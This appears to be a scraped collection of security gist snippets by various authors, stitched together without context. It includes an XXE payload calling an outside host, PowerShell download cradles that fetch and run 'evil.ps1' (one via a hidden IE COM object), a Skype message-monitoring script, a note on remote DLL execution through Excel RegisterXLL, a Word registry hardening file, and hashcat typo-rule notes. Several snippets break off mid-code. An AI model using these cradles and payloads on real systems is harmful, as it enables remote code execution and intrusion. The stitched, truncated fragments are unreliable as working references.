staaldraad

--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

HarmJ0y

# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')

# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

# Msxml2.XMLHTTP COM object

PaulSec

import Skype4Py 

def Commands(message, status):
    if status == 'SENT' or (status == 'RECEIVED'):
    	print message.Body

skype = Skype4Py.Skype()
skype.OnMessageStatus = Commands
skype.Attach()
while True:

ryhanson

DLL Execution via Excel.Application RegisterXLL() method

A DLL can be loaded and executed via Excel by initializing the Excel.Application COM object and passing a DLL to the RegisterXLL method. The DLL path does not need to be local, it can also be a UNC path that points to a remote WebDAV server.

When delivering via WebDAV, it should be noted that the DLL is still written to disk but the dropped file is not the one loaded in to the process. This is the case for any file downloaded via WebDAV, and they are stored at: C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV\.

The RegisterXLL function expects an XLL add-in which is essentially a specially crafted DLL with specific exports. More info on XLL's can be found on MSDN

The XLL can also be executed by double-clicking the .xll file, however there is a security warning. @rxwx has more notes on this here inc

wdormann

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Options]
 "DontUpdateLinks"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\Options]
 "DontUpdateLinks"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Options]
 "DontUpdateLinks"=dword:00000001

roycewilliams

--------------------------------------------------------------------------------
# Crude generation of typo rules 
# (Using kwprocessor (https://github.com/hashcat/kwprocessor) and hashcat)
#
# Useful for passwords that don't require confirmation (like some cryptocurrency
# wallets, password-protected archive files, etc.)
#
# May also be useful for stacking with other rules.
#
# This approach assumes that you are making the same typo every time